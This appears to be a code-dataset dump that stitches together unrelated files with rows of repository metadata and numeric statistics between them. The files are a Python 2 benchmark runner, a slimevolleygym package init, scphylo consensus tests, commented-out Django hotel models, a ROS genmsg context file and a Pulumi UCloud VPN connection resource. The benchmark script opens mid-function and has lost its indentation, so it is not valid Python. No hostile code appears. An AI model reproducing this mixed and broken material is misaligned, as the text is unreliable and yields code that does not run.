os.chdir(work_dir + "/piper-bench/ferret/src")
os.system("cp Makefile_rd Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("./clean_rd.h > /dev/null 2>&1")
os.system("make clean > /dev/null 2>&1")
os.system("make full_clean > /dev/null 2>&1")
os.system("make piper > /dev/null 2>&1")
os.chdir(work_dir + "/piper-bench/ferret")
ret = os.popen("./run_piper_native.sh")
print "ferret, full:"
ferret_extract_number(ret)
os.chdir(work_dir + "/rdtool")
os.system("./revert.sh")
def ferret_extract_number(handle):
i = 1
line = handle.readline()
while line:
number = re.search(r"QUERY TIME:\s+(([0-9]|\.)+)", line)
if number:
print "cores used: ", i , "elapsed time in second: ", number.group(1)
if i < 4:
i = i * 2
else:
i = i + 4
line = handle.readline()
handle.close()
def run(bench_name, config):
if bench_name == "lz77":
lz77(config)
if bench_name == "ferret":
ferret(config)
if bench_name == "x264":
x264(config)
def check_argv(bench_name, config):
if bench_name != "lz77" and bench_name != "ferret" and bench_name != "x264":
return False
if config != "base" and config != "sp" and config != "full":
return False
return True
if __name__ == "__main__":
if len(sys.argv) != 3 or not check_argv(sys.argv[1], sys.argv[2]):
print "USAGE: python run_benchmark.py bench_name, configuration.\nbench_name should be one of the following: lz77, ferret, x264.\nconfiguration should be one of the following: base, sp, full."
exit(0)
run(sys.argv[1], sys.argv[2])
| 34.266949 | 200 | 0.545691 | 1,088 | 8,087 | 3.939338 | 0.090074 | 0.117592 | 0.076995 | 0.097993 | 0.879375 | 0.879375 | 0.860243 | 0.846244 | 0.846244 | 0.846244 | 0 | 0.026621 | 0.27538 | 8,087 | 235 | 201 | 34.412766 | 0.704778 | 0 | 0 | 0.803109 | 0 | 0.005181 | 0.345122 | 0.051688 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.015544 | null | null | 0.067358 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
3a7593f031f116c0e2c23ce0e0721aaac1d31d94 | 200 | py | Python | slimevolleygym/__init__.py | AveryWenwenSi/slimevolleydelay | 8b4a2a905d7b9da96a908e9fb7d5f6373df3cbdd | [
"Apache-2.0"
] | null | null | null | slimevolleygym/__init__.py | AveryWenwenSi/slimevolleydelay | 8b4a2a905d7b9da96a908e9fb7d5f6373df3cbdd | [
"Apache-2.0"
] | null | null | null | slimevolleygym/__init__.py | AveryWenwenSi/slimevolleydelay | 8b4a2a905d7b9da96a908e9fb7d5f6373df3cbdd | [
"Apache-2.0"
] | null | null | null | import slimevolleygym.slimevolley
import slimevolleygym.mlp
import slimevolleygym.slimevolley_adversarial
from slimevolleygym.slimevolley_adversarial import *
from slimevolleygym.slimevolley import *
| 33.333333 | 52 | 0.895 | 19 | 200 | 9.315789 | 0.315789 | 0.564972 | 0.350282 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07 | 200 | 5 | 53 | 40 | 0.951613 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
c91e3b19a9f25cf260f1c1bb2ee5daedb4c648a7 | 3,098 | py | Python | tests/test_tl_consensus.py | faridrashidi/scphylo-tools | 4574e2c015da58e59caa38e3b3e49b398c1379c1 | [
"BSD-3-Clause"
] | null | null | null | tests/test_tl_consensus.py | faridrashidi/scphylo-tools | 4574e2c015da58e59caa38e3b3e49b398c1379c1 | [
"BSD-3-Clause"
] | null | null | null | tests/test_tl_consensus.py | faridrashidi/scphylo-tools | 4574e2c015da58e59caa38e3b3e49b398c1379c1 | [
"BSD-3-Clause"
] | null | null | null | import networkx as nx
import scphylo as scp
class TestConsensus:
def test_consensus_1(
self, test_consensus_biorxiv_fig3b, test_consensus_biorxiv_figs18a
):
# result in biorxiv.figs18b
sc1 = scp.io.read(test_consensus_biorxiv_fig3b)
sc2 = scp.io.read(test_consensus_biorxiv_figs18a)
final_tree = scp.tl.consensus(sc1, sc2)
assert len(final_tree.nodes) == 19
def test_consensus_2(
self, test_consensus_recomb_fig1a, test_consensus_recomb_fig1b
):
# result in recomb.fig1c
sc1 = scp.io.read(test_consensus_recomb_fig1a)
sc2 = scp.io.read(test_consensus_recomb_fig1b)
final_tree = scp.tl.consensus(sc1, sc2)
assert len(final_tree.nodes) == 21
def test_consensus_3(
self, test_consensus_biorxiv_fig4b, test_consensus_biorxiv_fig4c
):
# result in biorxiv.fig4d
sc1 = scp.io.read(test_consensus_biorxiv_fig4b)
sc2 = scp.io.read(test_consensus_biorxiv_fig4c)
final_tree = scp.tl.consensus(sc1, sc2)
assert len(final_tree.nodes) == 34
def test_consensus_4(
self, test_consensus_biorxiv_fig3b, test_consensus_biorxiv_fig3c
):
# result in biorxiv.fig3f
sc1 = scp.io.read(test_consensus_biorxiv_fig3b)
sc2 = scp.io.read(test_consensus_biorxiv_fig3c)
final_tree = scp.tl.consensus(sc1, sc2)
assert len(final_tree.nodes) == 19
class TestConsensusDay:
def test_consensus_day_1(
self, test_consensus_biorxiv_fig3b, test_consensus_biorxiv_figs18a
):
# result in biorxiv.figs18b
sc1 = scp.io.read(test_consensus_biorxiv_fig3b)
sc2 = scp.io.read(test_consensus_biorxiv_figs18a)
tris_tree = scp.tl.consensus(sc1, sc2)
day_tree = scp.tl.consensus_day(sc1, sc2)
assert nx.is_isomorphic(tris_tree, day_tree)
def test_consensus_day_2(
self, test_consensus_recomb_fig1a, test_consensus_recomb_fig1b
):
# result in recomb.fig1c
sc1 = scp.io.read(test_consensus_recomb_fig1a)
sc2 = scp.io.read(test_consensus_recomb_fig1b)
tris_tree = scp.tl.consensus(sc1, sc2)
day_tree = scp.tl.consensus_day(sc1, sc2)
assert nx.is_isomorphic(tris_tree, day_tree)
def test_consensus_day_3(
self, test_consensus_biorxiv_fig4b, test_consensus_biorxiv_fig4c
):
# result in biorxiv.fig4d
sc1 = scp.io.read(test_consensus_biorxiv_fig4b)
sc2 = scp.io.read(test_consensus_biorxiv_fig4c)
tris_tree = scp.tl.consensus(sc1, sc2)
day_tree = scp.tl.consensus_day(sc1, sc2)
assert nx.is_isomorphic(tris_tree, day_tree)
def test_consensus_day_4(
self, test_consensus_biorxiv_fig3b, test_consensus_biorxiv_fig3c
):
# result in biorxiv.fig3f
sc1 = scp.io.read(test_consensus_biorxiv_fig3b)
sc2 = scp.io.read(test_consensus_biorxiv_fig3c)
tris_tree = scp.tl.consensus(sc1, sc2)
day_tree = scp.tl.consensus_day(sc1, sc2)
assert nx.is_isomorphic(tris_tree, day_tree)
| 36.880952 | 74 | 0.692382 | 424 | 3,098 | 4.709906 | 0.115566 | 0.260391 | 0.240361 | 0.104156 | 0.918878 | 0.918878 | 0.918878 | 0.918878 | 0.918878 | 0.918878 | 0 | 0.04266 | 0.228212 | 3,098 | 83 | 75 | 37.325301 | 0.792555 | 0.062298 | 0 | 0.78125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 1 | 0.125 | false | 0 | 0.03125 | 0 | 0.1875 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a328a43cbdf4b3f9b06e16d9a8f73a461ebecc04 | 1,687 | py | Python | hotelsite/login/models.py | guapxcv/Hotel_manage | 7e99dcb6d95b6f03f530fdd67ab64e9bc0d18e2c | [
"MIT"
] | null | null | null | hotelsite/login/models.py | guapxcv/Hotel_manage | 7e99dcb6d95b6f03f530fdd67ab64e9bc0d18e2c | [
"MIT"
] | null | null | null | hotelsite/login/models.py | guapxcv/Hotel_manage | 7e99dcb6d95b6f03f530fdd67ab64e9bc0d18e2c | [
"MIT"
] | null | null | null | from django.db import models
from django.utils import timezone
# class Guest(models.Model):
# guest_id = models.CharField(max_length=10)
# guest_pw = models.CharField(max_length=10)
# first_name = models.CharField(max_length=10)
# last_name = models.CharField(max_length=10)
# date_of_birth = models.DateField(default=timezone.now) # 1998/01/01
# sex = models.CharField(max_length=1) # F
# phone_num = models.CharField(max_length=13) # 010-0000-0000
# e_mail = models.CharField(max_length=50)
# language = models.CharField(max_length=20) #Korea//1차 발표때 나온 지적에 따라 선호 언어로 변경
# guest_class = models.CharField(max_length=10) #silver
# def __str__(self):
# return self.guest_id
# class Staff(models.Model):
# staff_id = models.IntegerField()
# staff_pw = models.IntegerField()
# first_name = models.CharField(max_length=10)
# last_name = models.CharField(max_length=10)
# work_start_time = models.CharField(max_length=20) # 11/21 09:00
# work_end_time = models.CharField(max_length=20) # 11/21 18:00
# work_weekday = models.CharField(max_length=3) # 월요일
# date_of_birth = models.CharField(max_length=10) # 1998/01/01
# sex = models.CharField(max_length=1) # F
# status = models.IntegerField() # 0 : not working, 1 : working
# phone_num = models.CharField(max_length=13) # 010-0000-0000
# # photo = models.FileField(upload_to=path)
# # dept = models.ForeignKey(Department, on_delete=models.CASCADE) # it needs to check whethere it is foreign key
# def __str__(self):
# return self.staff_id | 48.2 | 121 | 0.665086 | 231 | 1,687 | 4.640693 | 0.38961 | 0.237873 | 0.285448 | 0.380597 | 0.503731 | 0.345149 | 0.345149 | 0.345149 | 0.281716 | 0.281716 | 0 | 0.066869 | 0.219917 | 1,687 | 35 | 122 | 48.2 | 0.74772 | 0.896266 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
a35433e9b4e7fcadfc232276dbc8d9ea8345e0cc | 7,664 | py | Python | test_ws/build/test/cmake/test-genmsg-context.py | ruslanjabari/factory_sim | f768bd170a9dea61a87d17ca9222ecf50b9369e7 | [
"MIT"
] | null | null | null | test_ws/build/test/cmake/test-genmsg-context.py | ruslanjabari/factory_sim | f768bd170a9dea61a87d17ca9222ecf50b9369e7 | [
"MIT"
] | null | null | null | test_ws/build/test/cmake/test-genmsg-context.py | ruslanjabari/factory_sim | f768bd170a9dea61a87d17ca9222ecf50b9369e7 | [
"MIT"
] | 1 | 2020-09-12T21:30:32.000Z | 2020-09-12T21:30:32.000Z | # generated from genmsg/cmake/pkg-genmsg.context.in
messages_str = "/home/nbhak/Desktop/test_ws/src/test/msg/BoolStamped.msg;/home/nbhak/Desktop/test_ws/src/test/msg/Float64Stamped.msg;/home/nbhak/Desktop/test_ws/src/test/msg/Int32Stamped.msg;/home/nbhak/Desktop/test_ws/src/test/msg/Int8Stamped.msg;/home/nbhak/Desktop/test_ws/src/test/msg/RadarTarget.msg;/home/nbhak/Desktop/test_ws/src/test/msg/RecognitionObject.msg;/home/nbhak/Desktop/test_ws/src/test/msg/StringStamped.msg;/home/nbhak/Desktop/test_ws/src/test/msg/MsgToBot.msg;/home/nbhak/Desktop/test_ws/src/test/msg/MsgToCentre.msg"
services_str = "/home/nbhak/Desktop/test_ws/src/test/srv/camera_get_focus_info.srv;/home/nbhak/Desktop/test_ws/src/test/srv/camera_get_info.srv;/home/nbhak/Desktop/test_ws/src/test/srv/camera_get_zoom_info.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_draw_line.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_draw_oval.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_draw_pixel.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_draw_polygon.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_draw_rectangle.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_draw_text.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_get_info.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_image_copy.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_image_delete.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_image_load.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_image_new.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_image_paste.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_image_save.srv;/home/nbhak/Desktop/test_ws/src/test/srv/display_set_font.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_bool.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_color.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_count.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_float.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_int32.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_node.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_rotation.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_string.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_type.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_type_name.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_vec2f.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_get_vec3f.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_import_node.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_import_node_from_string.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_remove_node.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_remove.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_set_bool.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_set_color.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_set_float.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_set_int32.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_set_rotation.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_set_string.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_set_vec2f.srv;/home/nbhak/Desktop/test_ws/src/test/srv/field_set_vec3f.srv;/home/nbhak/Desktop/test_ws/src/test/srv/get_bool.srv;/home/nbhak/Desktop/test_ws/src/test/srv/get_float_array.srv;/home/nbhak/Desktop/test_ws/src/test/srv/get_float.srv;/home/nbhak/Desktop/test_ws/src/test/srv/get_int.srv;/home/nbhak/Desktop/test_ws/src/test/srv/get_string.srv;/home/nbhak/Desktop/test_ws/src/test/srv/get_uint64.srv;/home/nbhak/Desktop/test_ws/src/test/srv/get_urdf.srv;/home/nbhak/Desktop/test_ws/src/test/srv/gps_decimal_degrees_to_degrees_minutes_seconds.srv;/home/nbhak/Desktop/test_ws/src/test/srv/lidar_get_frequency_info.srv;/home/nbhak/Desktop/test_ws/src/test/srv/lidar_get_info.srv;/home/nbhak/Desktop/test_ws/src/test/srv/lidar_get_layer_point_cloud.srv;/home/nbhak/Desktop/test_ws/src/test/srv/lidar_get_layer_range_image.srv;/home/nbhak/Desktop/test_ws/src/test/srv/motor_set_control_pid.srv;/home/nbhak/Desktop/test_ws/src/test/srv/mouse_get_state.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_add_force_or_torque.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_add_force_with_offset.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_center_of_mass.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_contact_point.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_field.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_id.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_number_of_contact_points.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_name.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_orientation.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_parent_node.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_position.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_static_balance.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_status.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_type.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_get_velocity.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_remove.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_reset_functions.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_move_viewpoint.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_set_visibility.srv;/home/nbhak/Desktop/test_ws/src/test/srv/node_set_velocity.srv;/home/nbhak/Desktop/test_ws/src/test/srv/pen_set_ink_color.srv;/home/nbhak/Desktop/test_ws/src/test/srv/range_finder_get_info.srv;/home/nbhak/Desktop/test_ws/src/test/srv/receiver_get_emitter_direction.srv;/home/nbhak/Desktop/test_ws/src/test/srv/robot_get_device_list.srv;/home/nbhak/Desktop/test_ws/src/test/srv/robot_set_mode.srv;/home/nbhak/Desktop/test_ws/src/test/srv/robot_wait_for_user_input_event.srv;/home/nbhak/Desktop/test_ws/src/test/srv/save_image.srv;/home/nbhak/Desktop/test_ws/src/test/srv/set_bool.srv;/home/nbhak/Desktop/test_ws/src/test/srv/set_float.srv;/home/nbhak/Desktop/test_ws/src/test/srv/set_float_array.srv;/home/nbhak/Desktop/test_ws/src/test/srv/set_int.srv;/home/nbhak/Desktop/test_ws/src/test/srv/set_string.srv;/home/nbhak/Desktop/test_ws/src/test/srv/skin_get_bone_name.srv;/home/nbhak/Desktop/test_ws/src/test/srv/skin_get_bone_orientation.srv;/home/nbhak/Desktop/test_ws/src/test/srv/skin_get_bone_position.srv;/home/nbhak/Desktop/test_ws/src/test/srv/skin_set_bone_orientation.srv;/home/nbhak/Desktop/test_ws/src/test/srv/skin_set_bone_position.srv;/home/nbhak/Desktop/test_ws/src/test/srv/speaker_is_sound_playing.srv;/home/nbhak/Desktop/test_ws/src/test/srv/speaker_speak.srv;/home/nbhak/Desktop/test_ws/src/test/srv/speaker_play_sound.srv;/home/nbhak/Desktop/test_ws/src/test/srv/supervisor_get_from_def.srv;/home/nbhak/Desktop/test_ws/src/test/srv/supervisor_get_from_id.srv;/home/nbhak/Desktop/test_ws/src/test/srv/supervisor_movie_start_recording.srv;/home/nbhak/Desktop/test_ws/src/test/srv/supervisor_set_label.srv;/home/nbhak/Desktop/test_ws/src/test/srv/supervisor_virtual_reality_headset_get_orientation.srv;/home/nbhak/Desktop/test_ws/src/test/srv/supervisor_virtual_reality_headset_get_position.srv"
pkg_name = "test"
dependencies_str = "std_msgs;sensor_msgs"
langs = "gencpp;geneus;genlisp;gennodejs;genpy"
dep_include_paths_str = "test;/home/nbhak/Desktop/test_ws/src/test/msg;std_msgs;/opt/ros/kinetic/share/std_msgs/cmake/../msg;sensor_msgs;/opt/ros/kinetic/share/sensor_msgs/cmake/../msg;geometry_msgs;/opt/ros/kinetic/share/geometry_msgs/cmake/../msg"
PYTHON_EXECUTABLE = "/usr/bin/python2"
package_has_static_sources = '' == 'TRUE'
genmsg_check_deps_script = "/opt/ros/kinetic/share/genmsg/cmake/../../../lib/genmsg/genmsg_check_deps.py"
| 638.666667 | 6,526 | 0.838205 | 1,433 | 7,664 | 4.223308 | 0.121424 | 0.165069 | 0.293457 | 0.366821 | 0.842366 | 0.831461 | 0.831461 | 0.831461 | 0.819894 | 0.756279 | 0 | 0.002097 | 0.004436 | 7,664 | 11 | 6,527 | 696.727273 | 0.791088 | 0.006394 | 0 | 0 | 1 | 0.333333 | 0.973335 | 0.967556 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 14 |
a38141f3fb5193458679f67e1bf299855a87fa7c | 15,973 | py | Python | sdk/python/pulumi_ucloud/ipsecvpn/vpn_connection.py | yufeiminds/pulumi-ucloud | e7899b4e92f60edec47369001530039acd945f7a | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_ucloud/ipsecvpn/vpn_connection.py | yufeiminds/pulumi-ucloud | e7899b4e92f60edec47369001530039acd945f7a | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_ucloud/ipsecvpn/vpn_connection.py | yufeiminds/pulumi-ucloud | e7899b4e92f60edec47369001530039acd945f7a | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from typing import Union
from .. import utilities, tables
class VpnConnection(pulumi.CustomResource):
create_time: pulumi.Output[str]
"""
The creation time for VPN Gateway Connection, formatted in RFC3339 time string.
"""
customer_gateway_id: pulumi.Output[str]
"""
The grade of the VPN Gateway
"""
ike_config: pulumi.Output[dict]
"""
The configurations of IKE negotiation. Each ike_config supports fields documented below.
* `authenticationAlgorithm` (`str`) - The authentication algorithm of IPSec negotiation. Possible values: `sha1`, `md5`. (Default: `sha1`)
* `dhGroup` (`str`) - The Diffie-Hellman group used by IKE negotiation. Possible values: `1`, `2`, `5`, `14`, `15`, `16`. (Default:`15`)
* `encryptionAlgorithm` (`str`) - The encryption algorithm of IPSec negotiation. Possible values: `aes128`, `aes192`, `aes256`, `aes512`, `3des`. (Default: `aes128`).
* `exchangeMode` (`str`) - The negotiation exchange mode of IKE V1 of VPN gateway. Possible values: `main` (main mode), `aggressive` (aggressive mode). (Default: `main`)
* `ikeVersion` (`str`) - The version of the IKE protocol which only be supported IKE V1 protocol at present. Possible values: ikev1. (Default: ikev1)
* `localId` (`str`) - The identification of the VPN gateway.
* `preSharedKey` (`str`) - The key used for authentication between the VPN gateway and the Customer gateway which contains 1-128 characters and only support English, numbers and special characters: `!@#$%^&*()_+-=[]:,./'~`.
* `remoteId` (`str`) - The identification of the Customer gateway.
* `saLifeTime` (`float`) - The Security Association lifecycle as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
"""
ipsec_config: pulumi.Output[dict]
"""
The configurations of IPSec negotiation. Each ipsec_config supports fields documented below.
* `authenticationAlgorithm` (`str`) - The authentication algorithm of IPSec negotiation. Possible values: `sha1`, `md5`. (Default: `sha1`)
* `encryptionAlgorithm` (`str`) - The encryption algorithm of IPSec negotiation. Possible values: `aes128`, `aes192`, `aes256`, `aes512`, `3des`. (Default: `aes128`).
* `localSubnetIds` (`list`) - The id list of Local subnet.
* `pfsDhGroup` (`str`) - Whether the PFS of IPSec negotiation is on or off, `disable` as off, The Diffie-Hellman group as open. Possible values: `disable`, `1`, `2`, `5`, `14`, `15`, `16`. (Default:`disable`)
* `protocol` (`str`) - The security protocol of IPSec negotiation. Possible values: `esp`, `ah`. (Default:`esp`)
* `remoteSubnets` (`list`) - The ip address list of remote subnet.
* `saLifeTime` (`float`) - The Security Association lifecycle as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
* `saLifeTimeBytes` (`float`) - The Security Association lifecycle in bytes as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
"""
name: pulumi.Output[str]
remark: pulumi.Output[str]
"""
The remarks of the VPN Gateway Connection. (Default: `""`).
"""
tag: pulumi.Output[str]
"""
A tag assigned to VPN Gateway Connection, which contains at most 63 characters and only support Chinese, English, numbers, '-', '_', and '.'. If it is not filled in or a empty string is filled in, then default tag will be assigned. (Default: `Default`).
"""
vpc_id: pulumi.Output[str]
"""
The ID of VPC linked to the VPN Gateway Connection.
"""
vpn_gateway_id: pulumi.Output[str]
"""
The ID of the VPN Customer Gateway.
"""
def __init__(__self__, resource_name, opts=None, customer_gateway_id=None, ike_config=None, ipsec_config=None, name=None, remark=None, tag=None, vpc_id=None, vpn_gateway_id=None, __props__=None, __name__=None, __opts__=None):
"""
Provides a IPSec VPN Gateway Connection resource.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] customer_gateway_id: The grade of the VPN Gateway
:param pulumi.Input[dict] ike_config: The configurations of IKE negotiation. Each ike_config supports fields documented below.
:param pulumi.Input[dict] ipsec_config: The configurations of IPSec negotiation. Each ipsec_config supports fields documented below.
:param pulumi.Input[str] remark: The remarks of the VPN Gateway Connection. (Default: `""`).
:param pulumi.Input[str] tag: A tag assigned to VPN Gateway Connection, which contains at most 63 characters and only support Chinese, English, numbers, '-', '_', and '.'. If it is not filled in or a empty string is filled in, then default tag will be assigned. (Default: `Default`).
:param pulumi.Input[str] vpc_id: The ID of VPC linked to the VPN Gateway Connection.
:param pulumi.Input[str] vpn_gateway_id: The ID of the VPN Customer Gateway.
The **ike_config** object supports the following:
* `authenticationAlgorithm` (`pulumi.Input[str]`) - The authentication algorithm of IPSec negotiation. Possible values: `sha1`, `md5`. (Default: `sha1`)
* `dhGroup` (`pulumi.Input[str]`) - The Diffie-Hellman group used by IKE negotiation. Possible values: `1`, `2`, `5`, `14`, `15`, `16`. (Default:`15`)
* `encryptionAlgorithm` (`pulumi.Input[str]`) - The encryption algorithm of IPSec negotiation. Possible values: `aes128`, `aes192`, `aes256`, `aes512`, `3des`. (Default: `aes128`).
* `exchangeMode` (`pulumi.Input[str]`) - The negotiation exchange mode of IKE V1 of VPN gateway. Possible values: `main` (main mode), `aggressive` (aggressive mode). (Default: `main`)
* `ikeVersion` (`pulumi.Input[str]`) - The version of the IKE protocol which only be supported IKE V1 protocol at present. Possible values: ikev1. (Default: ikev1)
* `localId` (`pulumi.Input[str]`) - The identification of the VPN gateway.
* `preSharedKey` (`pulumi.Input[str]`) - The key used for authentication between the VPN gateway and the Customer gateway which contains 1-128 characters and only support English, numbers and special characters: `!@#$%^&*()_+-=[]:,./'~`.
* `remoteId` (`pulumi.Input[str]`) - The identification of the Customer gateway.
* `saLifeTime` (`pulumi.Input[float]`) - The Security Association lifecycle as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
The **ipsec_config** object supports the following:
* `authenticationAlgorithm` (`pulumi.Input[str]`) - The authentication algorithm of IPSec negotiation. Possible values: `sha1`, `md5`. (Default: `sha1`)
* `encryptionAlgorithm` (`pulumi.Input[str]`) - The encryption algorithm of IPSec negotiation. Possible values: `aes128`, `aes192`, `aes256`, `aes512`, `3des`. (Default: `aes128`).
* `localSubnetIds` (`pulumi.Input[list]`) - The id list of Local subnet.
* `pfsDhGroup` (`pulumi.Input[str]`) - Whether the PFS of IPSec negotiation is on or off, `disable` as off, The Diffie-Hellman group as open. Possible values: `disable`, `1`, `2`, `5`, `14`, `15`, `16`. (Default:`disable`)
* `protocol` (`pulumi.Input[str]`) - The security protocol of IPSec negotiation. Possible values: `esp`, `ah`. (Default:`esp`)
* `remoteSubnets` (`pulumi.Input[list]`) - The ip address list of remote subnet.
* `saLifeTime` (`pulumi.Input[float]`) - The Security Association lifecycle as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
* `saLifeTimeBytes` (`pulumi.Input[float]`) - The Security Association lifecycle in bytes as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
> This content is derived from https://github.com/terraform-providers/terraform-provider-ucloud/blob/master/website/docs/r/vpn_connection.html.markdown.
"""
if __name__ is not None:
warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning)
resource_name = __name__
if __opts__ is not None:
warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning)
opts = __opts__
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = dict()
if customer_gateway_id is None:
raise TypeError("Missing required property 'customer_gateway_id'")
__props__['customer_gateway_id'] = customer_gateway_id
if ike_config is None:
raise TypeError("Missing required property 'ike_config'")
__props__['ike_config'] = ike_config
if ipsec_config is None:
raise TypeError("Missing required property 'ipsec_config'")
__props__['ipsec_config'] = ipsec_config
__props__['name'] = name
__props__['remark'] = remark
__props__['tag'] = tag
if vpc_id is None:
raise TypeError("Missing required property 'vpc_id'")
__props__['vpc_id'] = vpc_id
if vpn_gateway_id is None:
raise TypeError("Missing required property 'vpn_gateway_id'")
__props__['vpn_gateway_id'] = vpn_gateway_id
__props__['create_time'] = None
super(VpnConnection, __self__).__init__(
'ucloud:ipsecvpn/vpnConnection:VpnConnection',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name, id, opts=None, create_time=None, customer_gateway_id=None, ike_config=None, ipsec_config=None, name=None, remark=None, tag=None, vpc_id=None, vpn_gateway_id=None):
"""
